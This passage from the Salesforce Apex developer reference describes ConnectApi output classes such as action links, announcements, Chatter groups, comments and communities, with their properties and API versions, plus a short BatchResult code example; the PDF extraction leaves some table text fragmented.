example, if you use the Approve key, you get these
labels: Approve, Pending, Approved, Failed.
For a complete list of label keys, see Action Links
Labels.
method ConnectApi. The HTTP method. One of these values: 33.0

HttpRequestMethod • HttpDelete—Returns HTTP 204 on success.
Response body or output class is empty.
• HttpGet—Returns HTTP 200 on success.
• HttpHead—Returns HTTP 200 on success.
Response body or output class is empty.
• HttpPatch—Returns HTTP 200 on success or
HTTP 204 if the response body or output class is
empty.
• HttpPost—Returns HTTP 201 on success or
empty. Exceptions are the batch posting
resources and methods, which return HTTP 200
on success.
• HttpPut—Return HTTP 200 on success or
empty.
modifiedDate Datetime An ISO 8601 format date string, for example, 33.0
2011-02-25T18:24:31.000Z.
requestBody String The request body for Api and ApiAsync action 33.0
link types.
Note: Escape quotation mark characters in

the requestBody value.
requires Boolean true to require the user to confirm the action; 33.0
Confirmation false otherwise.
templateId String The ID of the action link template from which to 33.0
instantiate this action link. If the action link isn’t
associated with a template, the value is null.
type ConnectApi. Defines the type of action link. Values are: 33.0
ActionLinkType • Api—The action link calls a synchronous API at
the action URL. Salesforce sets the status to
SuccessfulStatus or FailedStatus
based on the HTTP status code returned by your
server.
asynchronous API at the action URL. The action
1628

remains in a PendingStatus state until a
third party makes a request to
to set the status to SuccessfulStatus or
FailedStatus when the asynchronous
operation is complete.
• Download—The action link downloads a file
from the action URL.
• Ui—The action link takes the user to a web page
at the action URL.
Note: Invoking ApiAsync action links from

an app requires a call to set the status.
However, there isn’t currently a way to set the
status of an action link using Apex. To set the
status, use Chatter REST API. See the Action
Link resource in the Chatter REST API Developer
Guide for more information.
userId String The ID of the user who can execute the action. If not 33.0
specified or null, any user can execute the action.
If you specify a userId, you can’t specify an
excludedUserId.
SEE ALSO:
ConnectApi.ActionLinkGroupDefinition Class
ConnectApi.ActionLinkDiagnosticInfo Class
Any diagnostic information that may exist for an executed action link. Diagnostic info is provided only for users who can access the
action link.

diagnosticInfo String Any diagnostic information returned when an action 33.0
link is executed. Diagnostic information is provided
only for users who can access the action link.
url String The URL for this action link diagnostic information. 33.0
ConnectApi.ActionLinkGroupDefinition Class
The definition of an action link group. Information in the action link group definition can be sensitive to a third party (for example, OAuth
bearer token headers). For this reason, only calls made from the Apex namespace that created the action link group definition can read,
modify, or delete the definition. In addition, the user making the call must have created the definition or have View All Data permission.
1629

actionLinks List<ConnectApi. A collection of action link definitions that make up 33.0
ActionLinkDefinition> the action link group. Within an action link group,
action links are displayed in the order listed in the
actionLinks property of the
ConnectApi.ActionLinkGroupDefinitionInput
class. Within a feed item, action link groups are
displayed in the order specified in the
actionLinkGroupIds property of the
ConnectApi.AssociatedActionsCapabilityInput
class.
category ConnectApi. Indicates the priority and location of the action links. 33.0
PlatformAction Values are:
GroupCategory • Primary—The action link group is displayed
in the body of the feed element.
• Overflow—The action link group is displayed
in the overflow menu of the feed element.
createdDate Datetime ISO8601 date string, for example, 33.0

2011-02-25T18:24:31.000Z.
executions ConnectApi. Defines the number of times an action link can be 33.0
Allowed ActionLink executed. Values are:
ExecutionsAllowed • Once—An action link can be executed only
once across all users.
• OncePerUser—An action link can be
executed only once for each user.
• Unlimited—An action link can be executed
an unlimited number of times by each user. If the
action link’s actionType is Api or
ApiAsync, you can’t use this value.
expirationDate Datetime ISO 8601 date string, for example, 33.0

2011-02-25T18:24:31.000Z, that represents the date
and time this action group expires and can no longer
be executed. If the value is null, there isn’t an
expiration date.
id String 18-character ID of the action link group definition. 33.0
modifiedDate Datetime ISO8601 date string, for example, 33.0

2011-02-25T18:24:31.000Z.
templateId String The ID of the action link group template from which 33.0
to instantiate this action link group, or null if this
group isn’t associated with a template.
url String The URL for this action link group definition. 33.0
1630
ConnectApi.ActivitySharingResult
The results of sharing a captured email or event.

success Boolean Whether the share operation succeeded or not. 39.0
ConnectApi.Actor Class
Superclass of:
• ConnectApi.ActorWithId Class
• ConnectApi.RecommendedObject
• ConnectApi.UnauthenticatedUser Class

name String Name of the actor, such as the group name. 28.0
type String One of the following: 28.0

• file
• group
• recommendedObject (version 34.0 and later)
• unauthenticateduser
• user
• record type name—the name of the record type, such
as myCustomObject__c or Account
SEE ALSO:
ConnectApi.CaseCommentCapability Class
ConnectApi.EntityRecommendation Class
ConnectApi.EditCapability
ConnectApi.FeedEntitySummary
ConnectApi.FeedItem Class
ConnectApi.FeedItemSummary
ConnectApi.Subscription Class
ConnectApi.ActorWithId Class
Subclass of: ConnectApi.Actor Class
Superclass of:
• ConnectApi.AbstractRecordView Class
1631
• ConnectApi.ArticleSummary
• ConnectApi.ChatterGroup Class
• ConnectApi.ContentHubRepository
• ConnectApi.File Class
• ConnectApi.RelatedFeedPost
• ConnectApi.User Class

id String Actor’s 18-character ID 28.0
motif ConnectApi. An icon that identifies the actor as a user, group, file, or custom 28.0
Motif object. The icon isn’t the user or group photo, and it isn’t a preview
of the file. The motif can also contain the object’s base color.
mySubscription ConnectApi. If the context user is following the item, this contains information 28.0
Reference about the subscription, else returns null.
url String Chatter REST API URL for the resource 28.0
SEE ALSO:
ConnectApi.FeedElement Class
ConnectApi.GroupRecord Class
ConnectApi.MentionSegment Class
ConnectApi.RecordSummaryList Class
ConnectApi.Address Class

city String Name of the city 28.0
country String Name of the country 28.0
formattedAddress String Formatted address per the locale of the context user 28.0
state String Name of the state, province, or so on 28.0
street String Street number 28.0
zip String Zip or postal code 28.0
SEE ALSO:
ConnectApi.DatacloudCompany Class
ConnectApi.DatacloudContact
ConnectApi.UserDetail Class
1632
ConnectApi.Alternative
Alternative representation for an extension on a feed element.

text String Text representation of the extension. 40.0
Representation
thumbnailUrl String Thumbnail URL for the extension. 40.0
title String Title of the extension. 40.0
ConnectApi.Announcement
An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it’s deleted or
replaced by another announcement.

expirationDate Datetime The Salesforce UI displays an announcement until 11:59 31.0
p.m. on this date unless another announcement is posted
first. The Salesforce UI ignores the time value in the
expirationDate. However, you can use the time value
to create your own display logic in your own UI.
feedElement ConnectApi. The feed element that contains the body of the 31.0
FeedElement Class announcement and its associated comments, likes, and so
on.
id String 18-character ID of the announcement. 31.0
isArchived Boolean Specifies whether the announcement is archived. 36.0
sendEmails Boolean Specifies whether the announcement is sent as an email 36.0

to all group members.
url String The URL to the announcement. 33.0
SEE ALSO:
ConnectApi.AnnouncementPage
ConnectApi.ChatterGroup Class
ConnectApi.AnnouncementPage
A collection of announcements.

announcements List<ConnectApi A collection of ConnectApi.Announcement objects. 31.0
.Announcement>
1633

currentPageUrl String Chatter REST API URL identifying the current page. 31.0
nextPageUrl String Chatter REST API URL identifying the next page, or null 31.0
if there isn’t a next page. Check whether this value is null
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
previousPageUrl String Chatter REST API URL identifying the previous page, or 31.0
null if there isn’t a previous page.
ConnectApi.ApprovalAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.ApprovalCapability Class is
used.
Subclass of ConnectApi.FeedItemAttachment Class

id String A work item ID. 28.0–31.0
postTemplateFields List Collection of approval post template fields 28.0–31.0

<ConnectApi.
ApprovalPost
TemplateField>
process String An approval step ID. 30.0–31.0

InstanceStepId
status ConnectApi. Specifies the status of a workflow process. 28.0–31.0

WorkflowProcess • Approved
Status Enum
• Fault
• Held
• NoResponse
• Pending
• Reassigned
• Rejected
• Removed
• Started
ConnectApi.ApprovalCapability Class
If a feed element has this capability, it includes information about an approval.
Subclass of ConnectApi.FeedElementCapability Class.
1634

id String The work item ID. The work item ID is null if there 32.0
isn’t a pending work item associated with the
approval record.
postTemplate List<ConnectApi. The details of the approval post template field. 32.0
Fields ApprovalPost
TemplateField>
processInstance String The process instance step ID. The associated record 32.0
StepId represents one step in an approval process.
status ConnectApi. The status of the approval. 32.0

WorkflowProcess
Status
SEE ALSO:
ConnectApi.ApprovalPostTemplateField Class

displayName String The field name 28.0
displayValue String The field value or null if the field is set to null. 28.0
record ConnectApi. A record ID 28.0

Reference If no record exists or if the reference is null, this value is null.
SEE ALSO:
ConnectApi.ApprovalCapability Class
ConnectApi.ArticleItem Class
Article item in question and answers suggestions.

id String Id of the article. 32.0
rating Double The rating of the article. 32.0
title String Title of the article. 32.0
urlLink String Link URL of the article. 32.0
1635

viewCount Integer Number of votes given to the article. 32.0
SEE ALSO:
ConnectApi.QuestionAndAnswersSuggestions Class
ConnectApi.ArticleSummary
A knowledge article summary.

articleType String Type of the knowledge article. 37.0
knowledgeArticle String ID of the knowledge article version. 39.0

VersionId
lastPublishedDate Datetime Last published date of the knowledge article. 37.0
rating Double The rating of the article. 37.0
summary String Summary of the knowledge article contents. 37.0
title String Title of the knowledge article. 37.0
urlName String URL name of the knowledge article. 37.0
viewCount Integer Number of times the knowledge article has been 38.0
viewed.
ConnectApi.AssociatedActionsCapability Class
If a feed element has this capability, it has platform actions associated with it.

platformAction List<ConnectApi. The platform action groups associated with a feed 33.0
Groups PlatformActionGroup> element. Platform action groups are returned in the
order specified in the
SEE ALSO:
ConnectApi.AudienceCriteria
Recommendation audience criteria.
1636

• ConnectApi.CustomListAudienceCriteria
• ConnectApi.NewUserAudienceCriteria

type ConnectApi. Specifies the recommendation audience criteria type. 36.0
RecommendationAudience One of these values:
CriteriaType • CustomList—A custom list of users makes
up the audience.
• MaxDaysInCommunity—New community
members make up the audience.
SEE ALSO:
ConnectApi.RecommendationAudience
ConnectApi.BannerCapability Class
If a feed element has this capability, it has a banner motif and style.

motif ConnectApi.Motif A banner motif. 31.0
style ConnectApi.BannerStyle Decorates a feed item with a color and set of icons. 31.0
Possible value:
• Announcement—An announcement displays
in a designated location in the Salesforce UI until
11:59 p.m. on its expiration date, unless it’s
deleted or replaced by another announcement.
SEE ALSO:
ConnectApi.BannerPhoto
A banner photo.

bannerPhotoUrl String URL to the banner photo in a large format. This URL 36.0
is available only to authenticated users.
1637

bannerPhoto String 18-character version ID of the banner photo. 36.0
VersionId
url String URL to the banner photo. 36.0
SEE ALSO:
ConnectApi.BasicTemplateAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.EnhancedLinkCapability is
used.
Attachments in feed items with type BasicTemplate return objects of this type.

Version
description String An optional description with a 500 character limit. 28.0–31.0
icon ConnectApi.Icon An optional icon. 28.0–31.0
linkRecordId String If linkURL refers to a Salesforce record, linkRecordId 28.0–31.0

contains the ID of the record.
linkUrl String An optional URL to a detail page if there is more content that 28.0–31.0
can’t be displayed inline. Do not specify linkUrl unless you
specify a title.
title String An optional title to the detail page. If linkUrl is specified, the 28.0–31.0
title links to linkUrl.
ConnectApi.BatchResult
The result of an operation returned by a batch method.
Namespace
ConnectApi
Usage
Calls to batch methods return a list of BatchResult objects. Each element in the BatchResult list corresponds to the strings
in the list parameter passed to the batch method. The first element in the BatchResult list matches the first string passed in the
list parameter, the second element corresponds with the second string, and so on. If only one string is passed, the BatchResult list
contains a single element.
1638
Example
The following example shows how to obtain and iterate through the returned ConnectApi.BatchResult objects. The code
adds two group IDs to a list. One of group IDs is incorrect, which causes a failure when the code calls the batch method. After it calls the
batch method, it iterates through the results to determine whether the operation was successful or not for each group ID in the list. The
code writes the ID of every group that was processed successfully to the debug log. The code writes an error message for every failed
group.
This example generates one successful operation and one failure.
List<String> myList = new List<String>();
// Add one correct group ID.
myList.add('0F9D00000000oOT');
// Add one incorrect group ID.
myList.add('0F9D00000000izf');
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null,

myList);
// Iterate through each returned result.

// Print the group ID.
ConnectApi.ChatterGroupSummary groupSummary;
if(batchResult.getResult() instanceof ConnectApi.ChatterGroupSummary) {
groupSummary = (ConnectApi.ChatterGroupSummary) batchResult.getResult();
}
System.debug(groupSummary.id);
}
else {
}
}
IN THIS SECTION:
BatchResult Methods
BatchResult Methods
The following are instance methods for BatchResult.
IN THIS SECTION:
getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.
getErrorMessage()
Returns a String that contains an error message.
1639
getErrorTypeName()
Returns a String that contains the name of the error type.
getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example,
if you call getMembershipBatch(), a successful call to BatchResult getResult() returns a
ConnectApi.GroupMembership object.
isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.
getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.
Signature
public ConnectApi.ConnectApiException getError()
Return Value
Type: ConnectApi.ConnectApiException
getErrorMessage()
Returns a String that contains an error message.
Signature
public String getErrorMessage()
Return Value
Type: String
Usage
The error message doesn’t make a round trip through a Visualforce view state, because exceptions can’t be serialized.
getErrorTypeName()
Returns a String that contains the name of the error type.
Signature
public String getErrorTypeName()
Return Value
Type: String
1640
getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if
you call getMembershipBatch(), a successful call to BatchResult getResult() returns a
ConnectApi.GroupMembership object.
Signature
public Object getResult()
Return Value
Type: Object
isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.
Signature
Return Value
Type: Boolean
ConnectApi.BlankRecordField Class
Subclass of ConnectApi.AbstractRecordField Class
A record field displayed as a place holder in a grid of fields.
ConnectApi.BookmarksCapability Class
If a feed element has this capability, the context user can bookmark it.

isBookmarked Boolean Indicates whether the feed element has been 32.0
ByCurrentUser bookmarked by the context user (true) or not
(false).
SEE ALSO:
ConnectApi.BundleCapability Class
If a feed element has this capability, it has a container of feed elements called a bundle.
1641

Superclass of:
• ConnectApi.GenericBundleCapability Class
• ConnectApi.TrackedChangeBundleCapability
.

bundleType ConnectApi.BundleType Defines this feed element's bundle type. The bundle 31.0
type determines what additional information appears
in the bundle.
page ConnectApi. A collection of feed elements. 31.0

FeedElementPage
totalElements Integer The total number of feed elements that this bundle 31.0
aggregates.
SEE ALSO:
ConnectApi.CandidateAnswersStatus
The status of candidate answers on a feed element.

hasCandidate Boolean Indicates whether candidate answers are available 41.0
Answers for a question.
hasCandidate Boolean Indicates whether any candidate answers are 41.0

AnswersPublished published.
hasCandidate Boolean Indicates whether any candidate answers are rated. 41.0
AnswersRated
SEE ALSO:
ConnectApi.QuestionAndAnswersCapability Class
ConnectApi.CanvasCapability Class
If a feed element has this capability, it renders a canvas app.

description String A description of the canvas app. The maximum size 32.0
is 255 characters.
1642

developerName String The API name (developer name) of the connected 32.0
app.
height String The height of the canvas app in pixels. 32.0
icon ConnectApi.Icon The icon for the canvas app. 32.0
namespacePrefix String A unique namespace prefix for the canvas app. 32.0
parameters String JSON parameters passed to the canvas app. 32.0
thumbnailUrl String A thumbnail URL to a preview image. The maximum 32.0

thumbnail size is 120 pixels by 120 pixels.
title String A title for the canvas link. 32.0
SEE ALSO:
ConnectApi.CanvasTemplateAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.CanvasCapability Class is used.

Objects of this type are returned by attachments in feed items with type CanvasPost.

description String Optional. Description of the canvas app. The maximum length of this 29.0–31.0
field is 500 characters.
developerName String Specifies the developer name (API name) of the canvas app. 29.0–31.0
height String Optional. The height of the canvas app in pixels. Default height is 200 29.0–31.0
pixels.
icon ConnectApi.Icon The canvas app icon. 29.0–31.0
namespacePrefix String Optional. The namespace prefix of the Developer Edition organization 29.0–31.0
in which the canvas app was created.
parameters String Optional. Parameters passed to the canvas app in JSON format. Example: 29.0–31.0
{'isUpdated'='true'}
thumbnailUrl String Optional. A URL to a thumbnail image for the canvas app. Maximum 29.0–31.0
dimensions are 120x120 pixels.
title String Specifies the title of the link used to call the canvas app. 29.0–31.0
1643
ConnectApi.CaseComment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.CaseCommentCapability Class
is used.
Objects of this type are returned by attachments in feed items with type CaseCommentPost.

Version
actorType ConnectApi. Specifies the type of user who made the comment. 28.0–31.0
CaseActorType • Customer—if a Chatter customer made the comment
Enum
• CustomerService—if a service representative made the
comment
createdBy ConnectApi. Comment’s creator 28.0–31.0

User
Summary
createdDate Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 28.0–31.0
id String Comment’s 18–character ID 28.0–31.0
published Boolean Specifies whether the comment has been published 28.0–31.0
text String Comment’s text 28.0–31.0
ConnectApi.CaseCommentCapability Class
If a feed element has this capability, it has a case comment on the case feed.

actorType ConnectApi. Specifies the type of user who made the comment. 32.0
CaseActorType
createdBy ConnectApi.Actor Information about the user who created the 32.0
comment.

2011-02-25T18:24:31.000Z.
eventType ConnectApi. Specifies an event type for a comment in the case 32.0
CaseComment feed.
EventType
id String 18-character ID of case comment. 32.0
published Boolean Specifies whether the comment has been published. 32.0
1644

text String Text of the case comment. 32.0
SEE ALSO:
ConnectApi.ChatterActivity Class

Version
commentCount Integer Total number of comments in the organization or community made 28.0
by the user
commentReceivedCount Integer Total number of comments in the organization or community received 28.0
by the user
likeReceivedCount Integer Total number of likes on posts and comments in the organization or 28.0
community received by the user
postCount Integer Total number of posts in the organization or community made by the 28.0
user
SEE ALSO:
ConnectApi.ChatterConversation Class

conversationId String The ID for the conversation 29.0
conversationUrl String Chatter REST API URL identifying the conversation 29.0
members List<ConnectApi. List of users in the conversation 29.0

UserSummary>
messages ConnectApi. The content of the conversation 29.0

Chatter
MessagePage
read Boolean Specifies if the conversation is read (true) or not read 29.0
(false)
1645
ConnectApi.ChatterConversationPage Class

Version
conversations List<ConnectApi.Chatter List of conversations on the page 29.0
ConversationSummary>
currentPageToken String Token identifying the current page. 29.0
nextPageToken String Token identifying the next page, or null if there isn’t 29.0
a next page.
nextPageUrl String Chatter REST API URL identifying the next page, or 29.0
null if there isn’t a next page. Check whether this
value is null before getting another page. If a page
doesn’t exist, a
returned.
ConnectApi.ChatterConversationSummary Class

Version
id String The ID for the conversation summary 29.0
latestMessage ConnectApi.ChatterMessage The contents of the latest message 29.0
members List<ConnectApi.UserSummary> List of members in the conversation 29.0
read Boolean Specifies if the conversation is read (true) or not read 29.0
(false)
url String Chatter REST API URL to the conversation summary 29.0
SEE ALSO:
ConnectApi.ChatterConversationPage Class
Superclass of:
• ConnectApi.ChatterGroupDetail Class
• ConnectApi.ChatterGroupSummary Class
1646

Version
additional String An extra label for the group, for example, “Archived,” “Private,” or “Private With 30.0
Label Customers.” If there isn’t an extra label, the value is null.
announcement ConnectApi. The current announcement for this group. An announcement displays in a 31.0
Announcement designated location in the Salesforce UI until 11:59 p.m. on its expiration date,
unless it’s deleted or replaced by another announcement.
bannerPhoto ConnectApi. The banner photo for the group. 36.0

BannerPhoto
canHave Boolean true if this group allows Chatter guests. 28.0

ChatterGuests
community ConnectApi. Information about the community the group is in. 28.0
Reference
description String Group’s description. 28.0
emailTo String Group’s email address for posting to this group by email. 30.0
ChatterAddress Returns null if Chatter emails and posting to Chatter by email aren’t both
enabled in your organization.
isArchived Boolean Specifies whether the group is archived (true) or not (false). 29.0
isAuto Boolean Specifies whether automatic archiving is disabled for the group (true) or 29.0
ArchiveDisabled not (false).
isBroadcast Boolean Specifies whether the group is a broadcast group (true) or not (false). 36.0
In a broadcast group, only group owners and managers can post to the group.
lastFeedElement Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, of the most 31.0
PostDate recent feed element posted to the group.
lastFeedItem Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, of the most 28.0–30.0
PostDate recent feed item posted to the group.
Use lastFeedElementPosted.
memberCount Integer Total number of group members. 28.0
myRole ConnectApi. Specifies the type of membership the user has with the group, such as group 28.0
GroupMembership owner, manager, or member.
Type Enum • GroupOwner
• GroupManager
• NotAMember
• NotAMemberPrivateRequested
• StandardMember
mySubscription ConnectApi. If the context user is a member of this group, contains information about that 28.0
Reference subscription; otherwise, returns null.
1647

Version
name String Name of the group. 28.0
owner ConnectApi. Information about the owner of the group. 28.0

UserSummary
photo ConnectApi.Photo Information about the group photo. 28.0
visibility ConnectApi. Specifies the group visibility type. Valid values are: 28.0
GroupVisibility • PrivateAccess—Only members of the group can see posts to this
Type Enum group.
• PublicAccess—All users within the community can see posts to this
group.
ConnectApi.ChatterGroupDetail Class
Subclass of ConnectApi.ChatterGroup Class

Version
fileCount Integer The number of files posted to the group. 28.0
information ConnectApi. Describes the Information section of the group. If the group is private, this 28.0
Group section is visible only to members. If the context user is not a member of
Information the group or does not have Modify All Data or View All Data permission,
this value is null.
pending Integer The number of requests to join a group that are in a pending state. 29.0
Requests
SEE ALSO:
ConnectApi.ChatterGroupPage Class
ConnectApi.ChatterGroupPage Class

Version
groups List<ConnectApi. List of group details 28.0

Chatter
Group
Detail>
1648

Version
nextPageUrl String Chatter REST API URL identifying the next page, or null if there isn’t a 28.0
next page. Check whether this value is null before getting another page.
If a page doesn’t exist, a ConnectApi.NotFoundException error
is returned.
previous String Chatter REST API URL identifying the previous page, or null if there isn’t 28.0
PageUrl a previous page.
ConnectApi.ChatterGroupSummary Class
Subclass of ConnectApi.ChatterGroup Class

Version
fileCount Integer The number of files posted to the group. 28.0
SEE ALSO:
ConnectApi.ChatterGroupSummaryPage Class
ConnectApi.UserGroupPage Class
ConnectApi.ChatterGroupSummaryPage Class

Version
groups List<ConnectApi. List of group summary objects 29.0

ChatterGroup
Summary>
nextPageUrl String Chatter REST API URL identifying the next page, or null if there 29.0
isn’t a next page. Check whether this value is null before
getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
previousPageUrl String Chatter REST API URL identifying the previous page, or null if 29.0
there isn’t a previous page.
ConnectApi.ChatterLike Class

Version
id String Like’s 18-character ID 28.0
1649

Version
likedItem ConnectApi. A reference to the liked comment or feed element. 28.0
Reference
url String Like’s Chatter REST API URL 28.0
user ConnectApi.User Like’s creator 28.0

Summary
SEE ALSO:
ConnectApi.ChatterLikePage Class
ConnectApi.ChatterLikePage Class

Version
currentPageToken Integer Token identifying the current page. 28.0
items List<ConnectApi. List of likes 32.0

ChatterLike>
likes List<ConnectApi. List of likes 28.0–31.0

ChatterLike>
Important: As of API version 32.0, use the items
property.
nextPageToken Integer Token identifying the next page, or null if there isn’t a next 28.0
page.
isn’t a next page. Check whether this value is null before getting
another page. If a page doesn’t exist, a
previousPageToken Integer Token identifying the previous page, or null if there isn’t a 28.0
previous page.
total Integer Total number of likes across all pages 28.0
SEE ALSO:
ConnectApi.ChatterLikesCapability Class
ConnectApi.Comment Class
1650
If a feed element has this capability, the context user can like it. Exposes information about existing likes.

isLikedBy Boolean Indicates whether the feed element is liked by the 32.0
CurrentUser context user (true) or not (false).
page ConnectApi. Likes information for this feed element. 32.0

ChatterLikePage
likesMessage ConnectApi. A message body that describes who likes the feed 32.0
MessageBody element.
myLike ConnectApi. If the context user has liked the feed element, this 32.0
Reference property is a reference to the specific like, null
otherwise.
SEE ALSO:
ConnectApi.ChatterMessage Class

Version
body ConnectApi.MessageBody Contents of the message 29.0
conversationId String The ID for the conversation 29.0
conversationUrl String Chatter REST API URL identifying the conversation 29.0
id String The ID of the message 29.0
recipients List<ConnectApi.UserSummary> List of the recipients of the message 29.0
sender ConnectApi.UserSummary The sender of the message 29.0
sendingCommunity ConnectApi.Reference Information about the community from which the 32.0
message was sent
Returns null for the default community or if
communities aren’t enabled.
sentDate Datetime The date and time the message was sent 29.0
1651

Version
url String Chatter REST API URL identifying the current page of 29.0
the conversation
SEE ALSO:
ConnectApi.ChatterMessagePage Class
ConnectApi.ChatterMessagePage Class

Version
messages List<ConnectApi.ChatterMessage> The messages on the current page 29.0
nextPageToken String Token identifying the next page, or null if there 29.0
isn’t a next page.
doesn’t exist, a
returned.
SEE ALSO:
ConnectApi.ChatterStream
A Chatter feed stream.

community ConnectApi. Community summary for the stream. 41.0
CommunitySummary
createdDate Datetime Date the stream was created. 39.0
description String Description of the stream. 39.0
id String 18-character ID of the stream. 39.0
name String Name of the stream. 39.0
1652

subscriptions List<ConnectApi. List of entities whose feeds are included in the stream. 39.0
FeedEnabledEntity>
url String URL to the stream. 39.0
SEE ALSO:
ConnectApi.ChatterStreamPage
ConnectApi.ChatterStreamPage
A collection of Chatter feed streams.

currentPageUrl String URL to the current page of streams. 39.0
items List<ConnectApi. List of streams. 39.0

ChatterStream>
nextPageUrl String URL to the next page of streams. 39.0

In version 39.0, all streams are included in
currentPageUrl and nextPageUrl is
null.
total Integer Total number of streams in the collection. 39.0
ConnectApi.ClientInfo Class

Version
applicationName String Name of the connected app used for authentication. 28.0
applicationUrl String Value from the Info URL field of the connected app used for 28.0
authentication
SEE ALSO:
1653

Version
attachment ConnectApi.FeedItem If the comment contains an attachment, property value is 28.0–31.0
Attachment ContentAttachment. If the comment does not contain
an attachment, it is null.

capabilities property.
body ConnectApi.FeedBody Body of the comment. 28.0
capabilities ConnectApi. Capabilities associated with the comment, such as any file 32.0
CommentCapabilities attachments.
clientInfo ConnectApi. Information about the connected app used to authenticate 28.0
ClientInfo the connection.
createdDate Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z. 28.0
feedElement ConnectApi. Feed element on which the comment is posted.

Reference
feedItem ConnectApi. Feed item on which the comment is posted. 28.0–31.0

Reference
feedElement property.
id String Comment’s 18–character ID. 28.0
isDelete Boolean If this property is true, the context user can’t delete the 28.0
Restricted comment. If it’s false, the context user might be able to
delete the comment.
likes ConnectApi.Chatter The first page of likes for the comment. 28.0
LikePage This property has no information for comments on direct
messages.
likesMessage ConnectApi.Message A message body that describes who likes the comment. 28.0
Body This property is null for comments on direct messages.
moderation ConnectApi. Information about the moderation flags on a comment. If 29.0

Flags ModerationFlags ConnectApi.Features.communityModeration
is false, this property is null.
myLike ConnectApi. If the context user liked the comment, this property is a 28.0
Reference reference to the specific like, null otherwise.
This property is null for comments on direct messages.
parent ConnectApi. Information about the parent feed-item for this comment. 28.0
Reference
1654

Version
relativeCreatedDate String The created date formatted as a relative, localized string, for 28.0
example, “17m ago” or “Yesterday.”
type ConnectApi. Specifies the type of comment. 28.0

CommentType Enum • ContentComment—Comment holds a content
capability.
• TextComment—Comment contains only text.
url String Chatter REST API URL to this comment. 28.0
user ConnectApi.User Information about the comment author. 28.0

Summary
SEE ALSO:
ConnectApi.CommentPage Class
ConnectApi.CommentCapabilities Class
A set of capabilities on a comment.

content ConnectApi. If a comment has this capability, it has a file 32.0
ContentCapability attachment.
Most ConnectApi.ContentCapability
properties are null if the content has been deleted
from the feed element or if the access has changed
to private.
edit ConnectApi. If a comment has this capability, users who have 34.0
EditCapability permission can edit it.
status ConnectApi. If a comment has this capability, it has a status that 38.0
StatusCapability determines its visibility.
upDownVote ConnectApi. If a comment has this capability, users can vote it up 41.0
UpDownVoteCapability or down.
verified ConnectApi. If a comment has this capability, users with 41.0

VerifiedCapability permission can mark it as verified or unverified.
SEE ALSO:
1655
ConnectApi.CommentPage Class

Version
comments List<ConnectApi. Collection of comments. 28.0–31.0
Comment>
Important: As of version 32.0, use the items property.
items List<ConnectApi. Collection of comments for this feed element. 32.0

Comment>
nextPageToken String Token identifying the next page, or null if there isn’t a next page. 28.0
If you want to read more of the comments in search results, all the
comments in the thread are refreshed, not just the ones that match the
search term. Avoid using nextPageToken until the comments are
refreshed.
nextPageUrl String Chatter REST API URL identifying the next page, or null if there isn’t a 28.0
next page. Check whether this value is null before getting another
page. If a page doesn’t exist, a ConnectApi.NotFoundException
error is returned.
If you want to read more of the comments in search results, all the
comments in the thread are refreshed, not just the ones that match the
search term. Avoid using nextPageUrl until the comments are
refreshed.
total Integer Total number of published comments for the parent feed element. 28.0
SEE ALSO:
ConnectApi.CommentsCapability Class
ConnectApi.CommentsCapability Class
If a feed element has this capability, the context user can add a comment to it.
1656

page ConnectApi. The comments information for this feed element. 32.0
CommentPage
Class
SEE ALSO:
ConnectApi.Community Class

Version
allowChatter Boolean Specifies if guest users can access public groups in the community without 31.0
AccessWithoutLogin logging in.
allowMembers Boolean Specifies if members of the community can flag content. 30.0
ToFlag
description String Community description. 28.0
id String Community ID. 28.0
invitationsEnabled Boolean Specifies whether users can invite other external users to the community. 28.0
knowledgeable Boolean Specifies whether knowledgeable people and endorsements are available 30.0
Enabled for topics (true), or not (false).
loginUrl String Login URL for the community. 36.0
name String Community name. 28.0
nicknameDisplay Boolean Specifies whether nicknames are displayed in the community. 32.0
Enabled
privateMessages Boolean Specifies whether members of the community can send and receive 30.0
Enabled private messages to and from other members of the community (true)
or not (false).
reputationEnabled Boolean Specifies whether reputation is calculated and displayed for members of 31.0
the community.
sendWelcomeEmail Boolean Specifies whether emails are sent to all new users when they join. 28.0
siteAsContainer Boolean Specifies whether the community uses Site.com pages (true) or 41.0
Enabled Visualforce tabs (false).
siteUrl String Site URL for the community, which is the custom domain plus a URL 30.0
prefix.
status ConnectApi. Specifies the status of the community. 28.0

CommunityStatus • Live
Enum
1657

Version
• Inactive
url String Full URL to community. 28.0
urlPathPrefix String Community-specific URL prefix. 28.0
SEE ALSO:
ConnectApi.CommunityPage Class
ConnectApi.CommunityPage Class

communities List<ConnectApi. List of communities context user has access to 28.0
Community>
total Integer Total number of communities 28.0
ConnectApi.CommunitySummary
A community summary.

id String 18-character ID of the community. 41.0
name String Localized name of the community. 41.0
ConnectApi.ComplexSegment Class
Subclass of ConnectApi.MessageSegment Class
Superclass of ConnectApi.FieldChangeSegment Class
ComplexSegments are only part of field changes.

segments List<ConnectApi. List of message segments. 28.0
MessageSegment>
ConnectApi.CompoundRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
1658
A record field that is a composite of subfields.

fields List<ConnectApi. A collection of subfields that make up the compound field. 29.0
Abstract
RecordField>
ConnectApi.Content
A file attached to a feed item.

checksum String MD5 checksum for the file. 36.0
contentUrl String URL of the content for links. 36.0
description String Description of the attachment. 36.0
downloadUrl String URL to the content. 36.0
fileExtension String Extension of the file. 36.0
